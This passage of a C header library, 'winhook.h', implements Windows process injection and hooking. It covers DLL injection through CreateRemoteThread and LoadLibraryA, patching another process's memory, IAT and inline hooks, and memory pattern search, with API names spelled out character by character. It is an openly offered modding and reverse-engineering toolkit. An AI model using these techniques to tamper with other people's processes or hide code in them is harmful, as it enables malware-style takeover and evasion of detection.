||||
{
|
||||
if (_wcsicmp((const wchar_t*)process.szExeFile, exename) == 0)
|
||||
{
|
||||
pid = process.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
} while (Process32Next(snapshot, &process));
|
||||
}
|
||||
CloseHandle(snapshot);
|
||||
if (pid != 0) return OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
|
||||
return NULL; // Not found
|
||||
}
|
||||
|
||||
size_t winhook_getimagebase(HANDLE hprocess)
|
||||
{
|
||||
//if (hprocess == GetCurrentProcess()) return (size_t)GetModuleHandleA(NULL);
|
||||
HMODULE modules[1024]; // Array that receives the list of module handles
|
||||
DWORD nmodules = 0;
|
||||
char modulename[MAX_PATH] = {0};
|
||||
if (!EnumProcessModules(hprocess, modules, sizeof(modules), &nmodules))
|
||||
return 0; // impossible to read modules
|
||||
if (!GetModuleFileNameExA(hprocess, modules[0], modulename, sizeof(modulename)))
|
||||
return 0; // impossible to get module info
|
||||
return (size_t)modules[0]; // module 0 is apparently always the EXE itself
|
||||
}
|
||||
|
||||
BOOL winhook_injectdll(HANDLE hprocess, LPCSTR dllname)
|
||||
{
|
||||
LPVOID addr = VirtualAllocEx(hprocess,
|
||||
0, 0x100, MEM_COMMIT, PAGE_READWRITE);
|
||||
SIZE_T count;
|
||||
if (addr == NULL) return FALSE;
|
||||
WriteProcessMemory(hprocess,
|
||||
addr, dllname, strlen(dllname)+1, (SIZE_T*)&count);
|
||||
|
||||
char name_kernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' };
|
||||
HMODULE kernel32 = GetModuleHandleA(name_kernel32);
|
||||
char name_LoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
|
||||
FARPROC pfnLoadlibraryA = GetProcAddress(kernel32, name_LoadLibraryA);
|
||||
HANDLE hthread = CreateRemoteThread(hprocess, NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)pfnLoadlibraryA, addr, 0, NULL);
|
||||
|
||||
if (hthread == NULL) return FALSE;
|
||||
WaitForSingleObject(hthread, -1);
|
||||
VirtualFreeEx(hprocess, addr, 0x100, MEM_COMMIT);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void winhook_installconsole()
|
||||
{
|
||||
AllocConsole();
|
||||
freopen("CONOUT$", "w", stdout);
|
||||
}
|
||||
|
||||
// dynamic hook functions
|
||||
BOOL winhook_patchmemoryex(HANDLE hprocess, LPVOID addr, const void* buf, size_t bufsize)
|
||||
{
|
||||
if (addr == NULL || buf == NULL) return FALSE;
|
||||
DWORD oldprotect;
|
||||
BOOL ret = VirtualProtectEx(hprocess, addr, bufsize, PAGE_EXECUTE_READWRITE, &oldprotect);
|
||||
if (ret)
|
||||
{
|
||||
size_t n = 0;
|
||||
WriteProcessMemory(hprocess, addr, buf, bufsize, (SIZE_T*)&n);
|
||||
VirtualProtectEx(hprocess, addr, bufsize, oldprotect, &oldprotect);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
BOOL winhook_patchmemorysex(HANDLE hprocess, LPVOID addrs[], void* bufs[], size_t bufsizes[], int n)
|
||||
{
|
||||
int ret = 0;
|
||||
for (int i = 0; i < n; i++)
|
||||
{
|
||||
ret += winhook_patchmemoryex(hprocess, addrs[i], bufs[i], bufsizes[i]);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
int winhook_patchmemorypattern(const char *pattern)
|
||||
{
|
||||
if (!pattern) return -1;
|
||||
size_t imagebase = (size_t)GetModuleHandleA(NULL);
|
||||
int res = 0;
|
||||
int flag_rel = 0;
|
||||
int j = 0;
|
||||
while (pattern[j]) j++;
|
||||
int patternlen = j;
|
||||
DWORD oldprotect;
|
||||
|
||||
for(int i=0; i<patternlen; i++)
|
||||
{
|
||||
if(pattern[i]=='#')
|
||||
{
|
||||
while(pattern[i]!='\n' && i<patternlen) i++;
|
||||
continue;
|
||||
}
|
||||
else if (pattern[i] == '\n' || pattern[i] == '\r')
|
||||
{
|
||||
continue;
|
||||
}
|
||||
else if (pattern[i]=='+')
|
||||
{
|
||||
flag_rel = 1;
|
||||
i++;
|
||||
}
|
||||
while (pattern[i]==' ') i++;
|
||||
|
||||
size_t addr = 0;
|
||||
int flag_nextline = 0;
|
||||
for (;pattern[i]!=':' && i<patternlen; i++)
|
||||
{
|
||||
char c = pattern[i];
|
||||
if(c>='0' && c<='9') c -= '0';
|
||||
else if (c>='A' && c<='Z') c = c -'A' + 10;
|
||||
else if (c>='a' && c<='z') c = c -'a' + 10;
|
||||
else if (c=='\r' || c=='\n') {flag_nextline=1;break;}
|
||||
else if (c==' ') continue;
|
||||
else return -2;
|
||||
addr = (addr<<4) + c;
|
||||
}
|
||||
if(flag_nextline) continue;
|
||||
if(flag_rel) addr += imagebase;
|
||||
|
||||
int n = 0;
|
||||
int v = 0;
|
||||
int start = i++;
|
||||
for(int j=0;j<2;j++)
|
||||
{
|
||||
n = 0;
|
||||
for(;pattern[i]!='\n' && i<patternlen;i++)
|
||||
{
|
||||
char c = pattern[i];
|
||||
if(c>='0' && c<='9') c -= '0';
|
||||
else if (c>='A' && c<='Z') c = c - 'A' + 10;
|
||||
else if (c>='a' && c<='z') c = c - 'a' + 10;
|
||||
else if (c==';') break;
|
||||
else continue;
|
||||
n++;
|
||||
if (j != 0)
|
||||
{
|
||||
v = (v << 4) + c;
|
||||
if (!(n & 1))
|
||||
{
|
||||
*(uint8_t*)(addr + (n>>1) -1) = v;
|
||||
v = 0;
|
||||
res++;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(n&1) return -3;
|
||||
if (j == 0)
|
||||
{
|
||||
i = start;
|
||||
VirtualProtect((void*)addr, n>>1, PAGE_EXECUTE_READWRITE, &oldprotect);
|
||||
}
|
||||
else VirtualProtect((void*)addr, n>>1, oldprotect, &oldprotect);
|
||||
}
|
||||
flag_rel = 0;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
int winhook_patchmemory1337ex(HANDLE hprocess, const char* pattern, size_t base, BOOL revert)
|
||||
{
|
||||
#define IS_ENDLINE(c) (c==';' || c=='\r' || c=='\n')
|
||||
enum FLAG1337 {
|
||||
RVA1337,
|
||||
OLDBYTE1337,
|
||||
NEWBYTE1337
|
||||
} flag1337 = RVA1337;
|
||||
|
||||
if (hprocess == NULL) return -1;
|
||||
|
||||
int res = 0;
|
||||
int i = 0;
|
||||
while (pattern[i]) i++;
|
||||
int patternlen = i;
|
||||
i = 0;
|
||||
while (pattern[i] != '>') i++; // title line
|
||||
while (!IS_ENDLINE(pattern[i])) i++;
|
||||
while (IS_ENDLINE(pattern[i])) i++;
|
||||
|
||||
size_t rva = 0;
|
||||
uint8_t oldbyte = 0, newbyte = 0;
|
||||
for (; i < patternlen; i++)
|
||||
{
|
||||
char c = pattern[i];
|
||||
if (c == ':') // oldbyte indicator
|
||||
{
|
||||
flag1337 = OLDBYTE1337;
|
||||
}
|
||||
else if (c == '-') // newbyte indicator
|
||||
{
|
||||
if (pattern[i + 1] != '>') return -1;
|
||||
flag1337 = NEWBYTE1337;
|
||||
i++;
|
||||
}
|
||||
else if (IS_ENDLINE(c)) // flush patch
|
||||
{
|
||||
if (flag1337 == RVA1337) continue;
|
||||
uint8_t* patchbyte = revert ? &oldbyte : &newbyte;
|
||||
winhook_patchmemoryex(hprocess, (LPVOID)(base + rva), patchbyte, 1);
|
||||
flag1337 = RVA1337;
|
||||
rva = 0;
|
||||
oldbyte = 0;
|
||||
newbyte = 0;
|
||||
res++;
|
||||
}
|
||||
else if (c == ' ')
|
||||
{
|
||||
continue;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (c >= '0' && c <= '9') c -= '0';
|
||||
else if (c >= 'A' && c <= 'Z') c = c - 'A' + 10;
|
||||
else if (c >= 'a' && c <= 'z') c = c - 'a' + 10;
|
||||
else continue;
|
||||
switch (flag1337)
|
||||
{
|
||||
case RVA1337:
|
||||
rva = (rva << 4) | (uint8_t)c;
|
||||
break;
|
||||
case OLDBYTE1337:
|
||||
oldbyte = (oldbyte << 4) | (uint8_t)c;
|
||||
break;
|
||||
case NEWBYTE1337:
|
||||
newbyte = (newbyte << 4) | (uint8_t)c;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
int winhook_patchmemoryipsex(HANDLE hprocess, const char* pattern, size_t base)
|
||||
{
|
||||
#define BYTE3_TO_UINT_BIGENDIAN(bp) \
|
||||
(((unsigned int)(bp)[0] << 16) & 0x00FF0000) | \
|
||||
(((unsigned int)(bp)[1] << 8) & 0x0000FF00) | \
|
||||
((unsigned int)(bp)[2] & 0x000000FF)
|
||||
|
||||
#define BYTE2_TO_UINT_BIGENDIAN(bp) \
|
||||
(((unsigned int)(bp)[0] << 8) & 0xFF00) | \
|
||||
((unsigned int) (bp)[1] & 0x00FF)
|
||||
|
||||
if(strncmp(pattern, "PATCH", 5) !=0 ) return -1;
|
||||
int res = 0;
|
||||
const uint8_t* p = (uint8_t*)pattern + 5;
|
||||
while (strncmp((char*)p, "EOF", 3) != 0)
|
||||
{
|
||||
unsigned int offset = BYTE3_TO_UINT_BIGENDIAN(p);
|
||||
unsigned int size = BYTE2_TO_UINT_BIGENDIAN(p + 3);
|
||||
p += 5;
|
||||
if (size == 0) // use RLE compress
|
||||
{
|
||||
unsigned int size_rle = BYTE2_TO_UINT_BIGENDIAN(p);
|
||||
return -2; // not implemented yet
|
||||
}
|
||||
else
|
||||
{
|
||||
size_t addr = base + offset;
|
||||
winhook_patchmemoryex(hprocess, (LPVOID)addr, p, size);
|
||||
p += size;
|
||||
res += size;
|
||||
}
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
void* winhook_searchmemory(void* addr,
|
||||
size_t memsize, const char* pattern, size_t* pmatchsize)
|
||||
{
|
||||
size_t i = 0;
|
||||
int matchend = 0;
|
||||
void* matchaddr = NULL;
|
||||
while (i < memsize)
|
||||
{
|
||||
int j = 0;
|
||||
int matchflag = 1;
|
||||
matchend = 0;
|
||||
while (pattern[j])
|
||||
{
|
||||
if (pattern[j] == 0x20)
|
||||
{
|
||||
j++;
|
||||
continue;
|
||||
}
|
||||
char _c1 = (((char*)addr)[i+matchend]>>4) & 0x0f;
|
||||
_c1 = _c1 < 10 ? _c1 + '0' : (_c1 - 10) + 'A';
|
||||
char _c2 = (((char*)addr)[i+matchend]&0xf) & 0x0f;
|
||||
_c2 = _c2 < 10 ? _c2 + '0' : (_c2 - 10) + 'A';
|
||||
if (pattern[j] != '?')
|
||||
{
|
||||
if (_c1 != pattern[j] && _c1 + 0x20 != pattern[j])
|
||||
{
|
||||
matchflag = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (pattern[j + 1] != '?')
|
||||
{
|
||||
if (_c2 != pattern[j+1] && _c2 + 0x20 != pattern[j+1])
|
||||
{
|
||||
matchflag = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
j += 2;
|
||||
matchend++;
|
||||
}
|
||||
if (matchflag)
|
||||
{
|
||||
matchaddr = (void*)((uint8_t*)addr + i);
|
||||
break;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
if (pmatchsize) *pmatchsize = matchend;
|
||||
return matchaddr;
|
||||
}
|
||||
|
||||
void* winhook_searchmemoryex(HANDLE hprocess,
|
||||
void* addr, size_t memsize, const char* pattern, size_t* pmatchsize)
|
||||
{
|
||||
void* buf = VirtualAlloc(NULL, memsize, MEM_COMMIT, PAGE_READWRITE);
|
||||
size_t bufsize = 0;
|
||||
ReadProcessMemory(hprocess, addr, buf, memsize, (SIZE_T*)&bufsize);
|
||||
void* matchaddr = winhook_searchmemory(buf, memsize, pattern, pmatchsize);
|
||||
VirtualFree(buf, 0, MEM_RELEASE);
|
||||
if (!matchaddr) return matchaddr;
|
||||
size_t offset = (size_t)matchaddr - (size_t)buf;
|
||||
return (void*)((uint8_t*)addr + offset);
|
||||
}
|
||||
|
||||
BOOL winhook_iathookpe(LPCSTR targetDllName, void* mempe, PROC pfnOrg, PROC pfnNew)
|
||||
{
|
||||
size_t imagebase = (size_t)mempe;
|
||||
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)imagebase;
|
||||
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)
|
||||
((uint8_t*)imagebase + pDosHeader->e_lfanew);
|
||||
PIMAGE_FILE_HEADER pFileHeader = &pNtHeader->FileHeader;
|
||||
PIMAGE_OPTIONAL_HEADER pOptHeader = &pNtHeader->OptionalHeader;
|
||||
PIMAGE_DATA_DIRECTORY pDataDirectory = pOptHeader->DataDirectory;
|
||||
PIMAGE_DATA_DIRECTORY pImpEntry =
|
||||
&pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
PIMAGE_IMPORT_DESCRIPTOR pImpDescriptor =
|
||||
(PIMAGE_IMPORT_DESCRIPTOR)(imagebase + pImpEntry->VirtualAddress);
|
||||
|
||||
DWORD dwOldProtect = 0;
|
||||
for (; pImpDescriptor->Name; pImpDescriptor++)
|
||||
{
|
||||
// find the dll IMPORT_DESCRIPTOR
|
||||
LPCSTR pDllName = (LPCSTR)(imagebase + pImpDescriptor->Name);
|
||||
if (!_stricmp(pDllName, targetDllName)) // ignore case
|
||||
{
|
||||
PIMAGE_THUNK_DATA pFirstThunk = (PIMAGE_THUNK_DATA)(imagebase + pImpDescriptor->FirstThunk);
|
||||
// find the iat function va
|
||||
for (; pFirstThunk->u1.Function; pFirstThunk++)
|
||||
{
|
||||
if (pFirstThunk->u1.Function == (size_t)pfnOrg)
|
||||
{
|
||||
VirtualProtect((LPVOID)&pFirstThunk->u1.Function, 4, PAGE_EXECUTE_READWRITE, &dwOldProtect);
|
||||
pFirstThunk->u1.Function = (size_t)pfnNew;
|
||||
VirtualProtect((LPVOID)&pFirstThunk->u1.Function, 4, dwOldProtect, &dwOldProtect);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
#ifndef WINHOOK_NO3RDLIB
|
||||
#ifndef MINHOOK_IMPLEMENTATION
|
||||
#define MINHOOK_IMPLEMENTATION
|
||||
#define MINHOOK_STATIC
|
||||
#endif // MINHOOK_IMPLEMENTATION
|
||||
#ifdef USECOMPAT
|
||||
#include "stb_minhook_v1331.h"
|
||||
#else
|
||||
#include "stb_minhook.h"
|
||||
#endif
|
||||
|
||||
int winhook_inlinehooks(PVOID pfnTargets[], PVOID pfnNews[], PVOID pfnOlds[], int n)
|
||||
{
|
||||
int i;
|
||||
MH_Initialize();
|
||||
for(i=0; i<n ;i++)
|
||||
{
|
||||
MH_STATUS status;
|
||||
if(!pfnNews[i] || !pfnTargets[i]) continue;
|
||||
status = MH_CreateHook(pfnTargets[i], pfnNews[i], &pfnOlds[i]);
|
||||
if(status!= MH_OK) return i;
|
||||
status = MH_EnableHook(pfnTargets[i]);
|
||||
if(status!= MH_OK) return i;
|
||||
}
|
||||
return i;
|
||||
}
|
||||
|
||||
int winhook_inlineunhooks(PVOID pfnTargets[], PVOID pfnNews[], PVOID pfnOlds[], int n)
|
||||
{
|
||||
int i;
|
||||
for(i=0; i<n ;i++)
|
||||
{
|
||||
if(!pfnNews[i] || !pfnTargets[i]) continue;
|
||||
MH_DisableHook(pfnTargets[i]);
|
||||
}
|
||||
if(MH_Uninitialize() != MH_OK) return 0;
|
||||
return i;
|
||||
}
|
||||
#endif // WINHOOK_NO3RDLIB
|
||||
#endif // MINHOOK_IMPLEMENTATION
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif // __cplusplus
|
||||
|
||||
#endif // _WINHOOK_H
|
||||
|
||||
/**
|
||||
* history:
|
||||
* v0.1, initial version
|
||||
* v0.2, add make this to single file
|
||||
* v0.2.2, add WINHOOK_STATIC, WINHOOK_SHARED macro
|
||||
* v0.2.3, change name to winhook.h and add guard for function name
|
||||
* v0.2.4, add winhook_searchmemory
|
||||
* v0.2.5, add minhook backend, compatible withh gcc, tcc
|
||||
* v0.2.6, support function to patch or search other process memory
|
||||
* v0.2.7, add win_startexeinject, fix winhook_searchmemoryex match bug
|
||||
* v0.3, use javadoc style, add winhook_patchmemorypattern
|
||||
* v0.3.1, add winhook_patchmemory1337, winhook_patchmemoryips
|
||||
* v0.3.2, improve macro style, chaneg some of macro to function
|
||||
* v0.3.3, seperate some macro to commdef
|
||||
*/
|
||||
File diff suppressed because one or more lines are too long
+1179
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user